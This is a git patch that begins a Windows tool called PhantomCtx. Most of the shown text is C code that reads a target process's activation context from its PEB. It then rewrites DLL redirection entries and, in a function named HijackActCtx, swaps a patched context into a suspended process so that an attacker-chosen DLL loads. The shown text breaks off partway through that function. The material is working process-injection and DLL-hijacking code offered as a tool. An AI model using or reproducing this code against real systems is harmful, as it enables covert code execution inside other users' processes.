From 244df0d3d772da821918c8fd5acbc3729d1e082b Mon Sep 17 00:00:00 2001 From: r3xmax Date: Tue, 16 Jun 2026 13:13:09 +0200 Subject: [PATCH] Initial commit --- PhantomCtx/common/actctx.c | 736 +++++++++++++++++++++++++ PhantomCtx/common/actctx.h | 71 +++ PhantomCtx/common/c_runtime.c | 63 +++ PhantomCtx/common/c_runtime.h | 21 + PhantomCtx/common/dynamic_resolution.c | 56 ++ PhantomCtx/common/dynamic_resolution.h | 11 + PhantomCtx/common/ntdefs.h | 194 +++++++ PhantomCtx/common/process_utils.c | 85 +++ PhantomCtx/common/process_utils.h | 16 + PhantomCtx/main.c | 241 ++++++++ PhantomCtx/recon/recon.c | 156 ++++++ PhantomCtx/recon/recon.h | 15 + PhantomCtx/runtime/runtime.c | 437 +++++++++++++++ PhantomCtx/runtime/runtime.h | 29 + PhantomCtx/spawn/spawn.c | 551 ++++++++++++++++++ PhantomCtx/spawn/spawn.h | 29 + PhantomCtx/utils/utils.c | 102 ++++ PhantomCtx/utils/utils.h | 7 + README.md | 650 ++++++++++++++++++++++ compile.bat | 38 ++ images/image1.png | Bin 0 -> 27781 bytes images/image2.png | Bin 0 -> 29207 bytes images/image3.png | Bin 0 -> 26536 bytes images/image4.png | Bin 0 -> 149171 bytes images/image5.png | Bin 0 -> 102541 bytes 25 files changed, 3508 insertions(+) create mode 100644 PhantomCtx/common/actctx.c create mode 100644 PhantomCtx/common/actctx.h create mode 100644 PhantomCtx/common/c_runtime.c create mode 100644 PhantomCtx/common/c_runtime.h create mode 100644 PhantomCtx/common/dynamic_resolution.c create mode 100644 PhantomCtx/common/dynamic_resolution.h create mode 100644 PhantomCtx/common/ntdefs.h create mode 100644 PhantomCtx/common/process_utils.c create mode 100644 PhantomCtx/common/process_utils.h create mode 100644 PhantomCtx/main.c create mode 100644 PhantomCtx/recon/recon.c create mode 100644 PhantomCtx/recon/recon.h create mode 100644 PhantomCtx/runtime/runtime.c create mode 100644 PhantomCtx/runtime/runtime.h create mode 100644 PhantomCtx/spawn/spawn.c create mode 100644 PhantomCtx/spawn/spawn.h create mode 100644 PhantomCtx/utils/utils.c create mode 100644 PhantomCtx/utils/utils.h create mode 100644 README.md create mode 100644 compile.bat create mode 100644 images/image1.png create mode 100644 images/image2.png create mode 100644 images/image3.png create mode 100644 images/image4.png create mode 100644 images/image5.png diff --git a/PhantomCtx/common/actctx.c b/PhantomCtx/common/actctx.c new file mode 100644 index 0000000..33257c7 --- /dev/null +++ b/PhantomCtx/common/actctx.c @@ -0,0 +1,736 @@ +#include +#include +#include + +#include "actctx.h" +#include "ntdefs.h" + +/* --------------------- Helper functions --------------------- */ +/* ------------------------------------------------------------ */ + +static int bounds_ok(const BYTE* blob, ULONG totalSize, ULONG offset, ULONG size) +{ + if ((ULONGLONG)offset + size > totalSize) return 0; + return 1; +} + +static void print_wcs(const WCHAR* ws, ULONG byteLen) +{ + ULONG nChars = byteLen / sizeof(WCHAR); + for (ULONG i = 0; i < nChars; i++) + wprintf(L"%c", ws[i]); +} + +static WCHAR* assemble_path( + const BYTE* B1, + ULONG b1Offset, + const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir, + ULONG totalSize) +{ + if (redir->PathSegmentCount == 0 || redir->TotalPathLength == 0) + return NULL; + + ULONG bufBytes = redir->TotalPathLength + sizeof(WCHAR); + WCHAR* result = (WCHAR*)malloc(bufBytes); + if (!result) return NULL; + ZeroMemory(result, bufBytes); + + WCHAR* cursor = result; + ULONG remaining = redir->TotalPathLength; + + const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* segs = + BLOB_PTR(B1, redir->PathSegmentOffset, + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); + + ULONG segsOffset = b1Offset + redir->PathSegmentOffset; + ULONG segsBytes = redir->PathSegmentCount * + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); + if (!bounds_ok((BYTE*)0, totalSize, segsOffset, segsBytes)) { + free(result); + return NULL; + } + + for (ULONG s = 0; s < redir->PathSegmentCount; s++) { + if (segs[s].Length == 0 || segs[s].Length > remaining) break; + + ULONG segGlobalOffset = b1Offset + segs[s].Offset; + if (!bounds_ok((BYTE*)0, totalSize, segGlobalOffset, segs[s].Length)) break; + + const WCHAR* fragment = BLOB_PTR(B1, segs[s].Offset, WCHAR); + ULONG nChars = segs[s].Length / sizeof(WCHAR); + memcpy(cursor, fragment, segs[s].Length); + cursor += nChars; + remaining -= segs[s].Length; + } + + return result; +} + +static ULONG x65599_hash(const WCHAR* str, ULONG byteLen) +{ + ULONG hash = 0; + ULONG nChars = byteLen / sizeof(WCHAR); + for (ULONG i = 0; i < nChars; i++) { + WCHAR c = str[i]; + if (c >= L'a' && c <= L'z') c -= (L'a' - L'A'); // <- uppercase + hash = hash * 65599 + c; + } + return hash; +} + +static ULONG calc_needed(ULONG existingEntryCount, ULONG keyByteLen, ULONG pathByteLen) +{ + return (existingEntryCount + 1) + * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY) + + keyByteLen + + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION) + + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT) + + pathByteLen; +} + +static int locate_redir( + BYTE* blob, + ULONG totalSize, + ULONG entryIdx, + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION** ppRedir, + BYTE** ppB1, + ULONG* pb1Offset) +{ + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = + (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = + (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + // Search for Id==2 + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + if (!dllToc) { + printf("[ERROR] locate_redir: no DLL redirection section (Id==2) found.\n"); + return -1; + } + + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = + (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ULONG b1Off = dllToc->Offset; + + if (entryIdx >= sshdr->ElementCount) { + fprintf(stderr, "[!] locate_redir: entryIdx %lu >= ElementCount %lu\n", + entryIdx, sshdr->ElementCount); + return -1; + } + + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = + (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[entryIdx]; + + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = + (ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(B1 + e->Offset); + + *ppRedir = redir; + *ppB1 = B1; + *pb1Offset = b1Off; + return 0; +} + +/* --------------------- Finish of Helper functions --------------------- */ +/* ---------------------------------------------------------------------- */ + +/* ------------------------ Utility functions --------------------------- */ +/* ---------------------------------------------------------------------- */ + +// Reads ACTIVATION_CONTEXT_DATA from a remote process via its PEB and copies the full blob to a local heap buffer +void* CopyRemoteActCtxByHandle(fnNtQueryInformationProcess pNtQueryInformationProcess, fnNtReadVirtualMemory pNtReadVirtualMemory, HANDLE hProcess, PSIZE_T actCtxSize){ + NTSTATUS status = 0; + + // Get remote PEB address via ProcessBasicInformation + PROCESS_BASIC_INFORMATION pbi = {0}; + ULONG returnLength = 0; + status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength); + + if(!NT_SUCCESS(status)){ + printf("[ERROR] NtQueryInformationProcess failed. Status: 0x%08lX\n", (unsigned long)status); + return (void*)0; + } + + // Read the pointer at PEB+0x2F8 (ActivationContextData) to get B0 + PVOID actxBase = NULL; + SIZE_T got = 0; + PVOID actxFieldAddr = (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2f8); + status = pNtReadVirtualMemory(hProcess, actxFieldAddr, &actxBase, sizeof(actxBase), &got); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status); + return (void*)0; + } + + // Read the fixed header to extract TotalSize and validate Magic + ACTIVATION_CONTEXT_DATA hdr = {0}; + status = pNtReadVirtualMemory(hProcess, actxBase, &hdr, sizeof(hdr), &got); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status); + return (void*)0; + } + + // Validate Magic: must be 0x78746341 ("Actx") + if(hdr.Magic != ACTX_MAGIC){ + printf("[ERROR] Invalid Magic number on ACTIVATION_CONTEXT_DATA (expected 0x%08lX = \"Actx\")\n", ACTX_MAGIC); + return (void*)0; + } + + // Security check on TotalSize before allocating + if (hdr.TotalSize < sizeof(ACTIVATION_CONTEXT_DATA) || hdr.TotalSize > (64u * 1024u * 1024u)) { + printf("[ERROR] ACTIVATION_CONTEXT_DATA.TotalSize out-of-bound: 0x%lX\n", hdr.TotalSize); + return (void*)0; + } + + // Allocate local buffer and copy the full blob from the target process + SIZE_T blobSize = (SIZE_T)hdr.TotalSize; + PVOID blob = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, blobSize); + + if (!blob) { + printf("[ERROR] HeapAlloc(%zu) failed\n", blobSize); + return (void*)0; + } + + status = pNtReadVirtualMemory(hProcess, actxBase, blob, blobSize, &got); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtReadVirtualMemory failed. Status: 0x%08lX\n", (unsigned long)status); + HeapFree(GetProcessHeap(), 0, blob); + return (void*)0; + } + + *actCtxSize = blobSize; + printf("[SUCCESS] Activation Context Data Blob copied to local heap buffer @%p (%zu bytes)\n", blob, blobSize); + + return blob; +} + +// Parses the DLL redirection section from a local ACTIVATION_CONTEXT_DATA blob and prints the results +void ParseDllRedirections(const BYTE* blob, ULONG totalSize) +{ + // 1. Blob header + if (!bounds_ok(blob, totalSize, 0, sizeof(ACTIVATION_CONTEXT_DATA))) { + wprintf(L"[ERROR] Blob too small for ACTIVATION_CONTEXT_DATA\n"); + return; + } + const ACTIVATION_CONTEXT_DATA* actx = + BLOB_PTR(blob, 0, ACTIVATION_CONTEXT_DATA); + + wprintf(L"\n+-[ ACTIVATION CONTEXT DATA ]\n"); + wprintf(L"| Magic : 0x%08lX (Actx)\n", actx->Magic); + wprintf(L"| HeaderSize : 0x%lX (%lu bytes)\n", actx->HeaderSize, actx->HeaderSize); + wprintf(L"| FormatVersion : %lu\n", actx->FormatVersion); + wprintf(L"| TotalSize : 0x%lX (%lu bytes)\n", actx->TotalSize, actx->TotalSize); + wprintf(L"| Flags : 0x%08lX\n", actx->Flags); + wprintf(L"|\n"); + + // 2. TOC header + if (!bounds_ok(blob, totalSize, + actx->DefaultTocOffset, + sizeof(ACTIVATION_CONTEXT_DATA_TOC_HEADER))) { + wprintf(L"+--[ERROR] DefaultTocOffset out of range\n"); + return; + } + const ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = + BLOB_PTR(blob, actx->DefaultTocOffset, ACTIVATION_CONTEXT_DATA_TOC_HEADER); + + // 3. TOC entries + ULONG tocEntriesSize = + toc->EntryCount * sizeof(ACTIVATION_CONTEXT_DATA_TOC_ENTRY); + if (!bounds_ok(blob, totalSize, toc->FirstEntryOffset, tocEntriesSize)) { + wprintf(L"+--[ERROR] TOC entries array out of range\n"); + return; + } + const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* entries = + BLOB_PTR(blob, toc->FirstEntryOffset, ACTIVATION_CONTEXT_DATA_TOC_ENTRY); + + wprintf(L"+--[ TOC ] %lu %s\n", + toc->EntryCount, + toc->EntryCount == 1 ? L"entry" : L"entries"); + + // 4. Find DLL redirection entry + const ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllEntry = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + BOOL isDll = (entries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION); + wprintf(L"| [%02lu] Id=%-2lu Format=%lu Offset=0x%04lX Length=0x%04lX%s\n", + i, + entries[i].Id, + entries[i].Format, + entries[i].Offset, + entries[i].Length, + isDll ? L" <-- DLL Redirection" : L""); + if (isDll) + dllEntry = &entries[i]; + } + wprintf(L"|\n"); + + if (!dllEntry) { + wprintf(L"+--[ DLL REDIRECTION ] not present in this blob\n"); + wprintf(L"|\n"); + wprintf(L"+--[ HINT ] Use 'steal-context' to steal the Activation Context\n"); + wprintf(L" from a running process that has one.\n"); + wprintf(L" Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from \n\n"); + return; + } + if (dllEntry->Format != ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE) { + wprintf(L"+--[ERROR] Unexpected DLL section format: %lu\n", dllEntry->Format); + return; + } + + // 5. STRING_SECTION_HEADER = B1 + if (!bounds_ok(blob, totalSize, + dllEntry->Offset, + sizeof(ACTIVATION_CONTEXT_STRING_SECTION_HEADER))) { + wprintf(L"+--[ERROR] STRING_SECTION_HEADER offset out of range\n"); + return; + } + const ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = + BLOB_PTR(blob, dllEntry->Offset, ACTIVATION_CONTEXT_STRING_SECTION_HEADER); + + if (sshdr->Magic != STRING_SECTION_MAGIC) { + wprintf(L"+--[ERROR] Invalid STRING_SECTION magic: 0x%08lX\n", sshdr->Magic); + return; + } + + const BYTE* B1 = (const BYTE*)sshdr; + ULONG b1Off = dllEntry->Offset; + + // 6. STRING_SECTION entries + ULONG entriesSize = + sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY); + if (!bounds_ok(B1, totalSize - b1Off, + sshdr->ElementListOffset, entriesSize)) { + wprintf(L"+--[ERROR] STRING_SECTION_ENTRY array out of range\n"); + return; + } + const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = + BLOB_PTR(B1, sshdr->ElementListOffset, + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY); + + wprintf(L"+--[ DLL REDIRECTION ] %lu %s\n", + sshdr->ElementCount, + sshdr->ElementCount == 1 ? L"entry" : L"entries"); + + // 7. Iterate entries + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + const ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* e = &strEntries[i]; + BOOL isLast = (i == sshdr->ElementCount - 1); + + /* DLL name (key) */ + wprintf(L"| [%02lu] ", i); + if (bounds_ok(B1, totalSize - b1Off, e->KeyOffset, e->KeyLength)) { + const WCHAR* key = BLOB_PTR(B1, e->KeyOffset, WCHAR); + print_wcs(key, e->KeyLength); + } else { + wprintf(L""); + } + wprintf(L"\n"); + + // DLL_REDIRECTION + if (!bounds_ok(B1, totalSize - b1Off, + e->Offset, + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION))) { + wprintf(L"| \n"); + if (!isLast) wprintf(L"|\n"); + continue; + } + const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = + BLOB_PTR(B1, e->Offset, ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION); + + // Flags as string + WCHAR flagStr[128] = { 0 }; + if (redir->Flags == 0) + wcscat_s(flagStr, 128, L"NONE"); + if (redir->Flags & ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME) + wcscat_s(flagStr, 128, L"PATH_INCLUDES_BASE_NAME"); + if (redir->Flags & ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT) + wcscat_s(flagStr, 128, L"OMITS_ASSEMBLY_ROOT"); + if (redir->Flags & ACTX_DLL_REDIR_EXPAND) + wcscat_s(flagStr, 128, L"EXPAND"); + if (redir->Flags & ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED) + wcscat_s(flagStr, 128, L"SYSTEM_DEFAULT"); + + wprintf(L"| PseudoKey : 0x%08lX\n", e->PseudoKey); + wprintf(L"| RosterIdx : %lu\n", e->AssemblyRosterIndex); + wprintf(L"| Flags : %s\n", flagStr); + wprintf(L"| Segments : %lu PathLen=%lu bytes\n", + redir->PathSegmentCount, redir->TotalPathLength); + + // Assembled path + WCHAR* fullPath = assemble_path(B1, b1Off, redir, totalSize); + if (fullPath) { + wprintf(L"| Path : %s\n", fullPath); + free(fullPath); + } else { + wprintf(L"| Path : \n"); + } + + if (!isLast) wprintf(L"|\n"); + } + + wprintf(L"|\n"); + wprintf(L"+--[ END ]\n\n"); +} + +// Patches an existing DLL redirection entry with a new redirect path. Appends PATH_SEGMENT + WCHAR[] at the end of the blob. +ULONG PatchDllRedirectionEntry( + BYTE* blob, + ULONG totalSize, + ULONG entryIdx, + const WCHAR* redirectPath) +{ + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = NULL; + BYTE* B1 = NULL; + ULONG b1Off = 0; + + if (locate_redir(blob, totalSize, entryIdx, &redir, &B1, &b1Off) != 0) + return totalSize; + + printf("[PATCH] entry[%lu] before: Flags=0x%08lX SegCount=%lu PathLen=%lu\n", + entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength); + + ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR)); + ULONG neededExtra = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT) + + pathByteLen; + + if (neededExtra > EXTRA_BYTES) { + fprintf(stderr, "[ERROR] EXTRA_BYTES insufficient (%lu needed, %u available)\n", + neededExtra, EXTRA_BYTES); + return totalSize; + } + + // Offsets from B1 for new data appended at end of blob + ULONG segOffsetFromB1 = totalSize - b1Off; + ULONG strOffsetFromB1 = segOffsetFromB1 + + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); + + // Write PATH_SEGMENT at end of blob + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* newSeg = + (ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + totalSize); + newSeg->Length = pathByteLen; + newSeg->Offset = strOffsetFromB1; + + // Write WCHAR[] redirect path immediately after + WCHAR* strDest = (WCHAR*)(blob + totalSize + + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)); + memcpy(strDest, redirectPath, pathByteLen); + + // Patch DLL_REDIRECTION fields + redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME; + redir->PathSegmentCount = 1; + redir->TotalPathLength = pathByteLen; + redir->PathSegmentOffset = segOffsetFromB1; + + // Update TotalSize in blob header + ULONG newTotalSize = totalSize + neededExtra; + ((ACTIVATION_CONTEXT_DATA*)blob)->TotalSize = newTotalSize; + + // Update TOC entry Length to cover new data + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + tocEntries[i].Length = newTotalSize - b1Off; + break; + } + } + + printf("[PATCH] segOffsetFromB1 = 0x%lX\n", segOffsetFromB1); + printf("[PATCH] strOffsetFromB1 = 0x%lX\n", strOffsetFromB1); + printf("[PATCH] pathByteLen = %lu bytes\n", pathByteLen); + printf("[PATCH] entry[%lu] after: Flags=0x%08lX SegCount=%lu PathLen=%lu\n", + entryIdx, redir->Flags, redir->PathSegmentCount, redir->TotalPathLength); + printf("[PATCH] TotalSize: 0x%lX -> 0x%lX\n", totalSize, newTotalSize); + + return newTotalSize; +} + +// Appends a brand-new DLL redirection entry to the blob. Relocates the entry array and writes all new structures at end of blob. +ULONG AddDllRedirectionEntry( + BYTE* blob, + ULONG totalSize, + const WCHAR* dllName, + const WCHAR* redirectPath, + ULONG rosterIdx) +{ + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + if (!dllToc) { + fprintf(stderr, "[ERROR] AddDllEntry: no DLL redirection section (Id==2) found.\n"); + return totalSize; + } + + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = + (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ULONG b1Off = dllToc->Offset; + + ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR)); + ULONG pathByteLen = (ULONG)(wcslen(redirectPath) * sizeof(WCHAR)); + ULONG needed = calc_needed(sshdr->ElementCount, keyByteLen, pathByteLen); + + if (needed > EXTRA_BYTES_ADD) { + fprintf(stderr, "[ERROR] AddDllEntry: need %lu bytes, EXTRA_BYTES_ADD=%u\n", + needed, EXTRA_BYTES_ADD); + return totalSize; + } + + ULONG cursor = totalSize; + + // 1. Relocate existing entry array to end of blob + ULONG oldEntriesBytes = sshdr->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY); + ULONG newArrayOffsetFromB1 = cursor - b1Off; + memcpy(blob + cursor, B1 + sshdr->ElementListOffset, oldEntriesBytes); + cursor += oldEntriesBytes; + + // 2. Write new STRING_SECTION_ENTRY + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* newEntry = + (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + cursor); + cursor += sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY); + + // 3. Write WCHAR[] DLL key + ULONG keyOffsetFromB1 = cursor - b1Off; + memcpy(blob + cursor, dllName, keyByteLen); + cursor += keyByteLen; + + // 4. Write ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION + ULONG redirOffsetFromB1 = cursor - b1Off; + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir = + (ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION*)(blob + cursor); + cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION); + + // 5. Write PATH_SEGMENT + ULONG segOffsetFromB1 = cursor - b1Off; + ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT* seg = + (ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT*)(blob + cursor); + cursor += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT); + + // 6. Write WCHAR[] redirect path + ULONG strOffsetFromB1 = cursor - b1Off; + memcpy(blob + cursor, redirectPath, pathByteLen); + cursor += pathByteLen; + + // Fill structures with computed offsets + seg->Length = pathByteLen; + seg->Offset = strOffsetFromB1; + + redir->Size = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION); + redir->Flags = ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME; + redir->TotalPathLength = pathByteLen; + redir->PathSegmentCount = 1; + redir->PathSegmentOffset = segOffsetFromB1; + + newEntry->PseudoKey = x65599_hash(dllName, keyByteLen); + newEntry->KeyOffset = keyOffsetFromB1; + newEntry->KeyLength = keyByteLen; + newEntry->Offset = redirOffsetFromB1; + newEntry->Length = sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION) + + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT) + + pathByteLen; + newEntry->AssemblyRosterIndex = rosterIdx; + + // Update STRING_SECTION_HEADER + sshdr->ElementListOffset = newArrayOffsetFromB1; + sshdr->ElementCount += 1; + + // Full insertion sort of all entries by PseudoKey. The donor blob's original + // ElementList is in arbitrary order (the donor used SearchStructureOffset for + // lookup, so order never mattered there). We must sort every element — not + // just insert the new one — before zeroing SearchStructureOffset, otherwise + // ntdll's binary-search fallback will miss entries in the wrong positions. + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* arr = + (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(blob + totalSize); + ULONG arrCount = sshdr->ElementCount; + ULONG savedPseudoKey = arr[arrCount - 1].PseudoKey; // capture before sort moves it + for (ULONG si = 1; si < arrCount; si++) { + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY stmp = arr[si]; + LONG j = (LONG)si - 1; + while (j >= 0 && arr[j].PseudoKey > stmp.PseudoKey) { + arr[j + 1] = arr[j]; + j--; + } + arr[j + 1] = stmp; + } + sshdr->SearchStructureOffset = 0; + + // Update blob TotalSize and TOC entry Length + ULONG newTotalSize = cursor; + actx->TotalSize = newTotalSize; + dllToc->Length = newTotalSize - b1Off; + + printf("[ADD] DLL key : %ls\n", dllName); + printf("[ADD] Redirect path : %ls\n", redirectPath); + printf("[ADD] PseudoKey : 0x%08lX\n", savedPseudoKey); + printf("[ADD] RosterIndex : %lu\n", rosterIdx); + printf("[ADD] ElementCount : %lu\n", sshdr->ElementCount); + printf("[ADD] TotalSize : 0x%lX -> 0x%lX\n", totalSize, newTotalSize); + + return newTotalSize; +} + +// Searches the DLL Redirection section (TOC Id==2) for an entry matching +// dllName using case-insensitive key comparison (bypasses PseudoKey mismatch). +// If found, patches its redirect path. If not found, adds a new entry. +ULONG PatchOrAddDllRedirection( + BYTE* blob, + ULONG totalSize, + const WCHAR* dllName, + const WCHAR* redirectPath, + ULONG rosterIdx) +{ + ACTIVATION_CONTEXT_DATA* actx = (ACTIVATION_CONTEXT_DATA*)blob; + ACTIVATION_CONTEXT_DATA_TOC_HEADER* toc = (ACTIVATION_CONTEXT_DATA_TOC_HEADER*)(blob + actx->DefaultTocOffset); + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* tocEntries = (ACTIVATION_CONTEXT_DATA_TOC_ENTRY*)(blob + toc->FirstEntryOffset); + + // Locate TOC entry Id==2 + ACTIVATION_CONTEXT_DATA_TOC_ENTRY* dllToc = NULL; + for (ULONG i = 0; i < toc->EntryCount; i++) { + if (tocEntries[i].Id == ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) { + dllToc = &tocEntries[i]; + break; + } + } + if (!dllToc) { + fprintf(stderr, "[ERROR] PatchOrAdd: no DLL redirection section (Id==2) found.\n"); + return totalSize; + } + + ACTIVATION_CONTEXT_STRING_SECTION_HEADER* sshdr = + (ACTIVATION_CONTEXT_STRING_SECTION_HEADER*)(blob + dllToc->Offset); + BYTE* B1 = (BYTE*)sshdr; + ULONG b1Off = dllToc->Offset; + + ACTIVATION_CONTEXT_STRING_SECTION_ENTRY* strEntries = + (ACTIVATION_CONTEXT_STRING_SECTION_ENTRY*)(B1 + sshdr->ElementListOffset); + + ULONG keyByteLen = (ULONG)(wcslen(dllName) * sizeof(WCHAR)); + + // Search by case-insensitive key comparison only (skip PseudoKey check + // since Windows may hash with different normalization) + LONG foundIdx = -1; + for (ULONG i = 0; i < sshdr->ElementCount; i++) { + if (keyByteLen != strEntries[i].KeyLength) continue; + if (!bounds_ok(B1, totalSize - b1Off, + strEntries[i].KeyOffset, + strEntries[i].KeyLength)) continue; + + const WCHAR* existingKey = (const WCHAR*)(B1 + strEntries[i].KeyOffset); + ULONG nChars = keyByteLen / sizeof(WCHAR); + BOOL match = TRUE; + for (ULONG c = 0; c < nChars; c++) { + WCHAR a = existingKey[c]; + WCHAR b = dllName[c]; + if (a >= L'A' && a <= L'Z') a += (L'a' - L'A'); + if (b >= L'A' && b <= L'Z') b += (L'a' - L'A'); + if (a != b) { match = FALSE; break; } + } + if (match) { foundIdx = (LONG)i; break; } + } + + if (foundIdx >= 0) { + printf("[+] '%ls' found at entry[%ld] -> patching path.\n", dllName, foundIdx); + return PatchDllRedirectionEntry(blob, totalSize, (ULONG)foundIdx, redirectPath); + } else { + printf("[+] '%ls' not found -> adding new entry.\n", dllName); + return AddDllRedirectionEntry(blob, totalSize, dllName, redirectPath, rosterIdx); + } +} + +// Hijacks the memory region by unmapping the original Activation Context and mapping the patched one +NTSTATUS HijackActCtx( + fnNtReadVirtualMemory pNtReadVirtualMemory, + fnNtCreateSection pNtCreateSection, + fnNtMapViewOfSection pNtMapViewOfSection, + fnNtUnmapViewOfSection pNtUnmapViewOfSection, + fnNtQueryInformationProcess pNtQueryInformationProcess, + HANDLE hProcess, + void* actCtxBlob, + SIZE_T actCtxSize +){ + NTSTATUS status; + + // Get PEB address of the target (suspended) process + PROCESS_BASIC_INFORMATION pbi = { 0 }; + ULONG returnLength = 0; + status = pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtQueryInformationProcess failed: 0x%08lX\n", status); + return status; + } + + // Read the pointer at 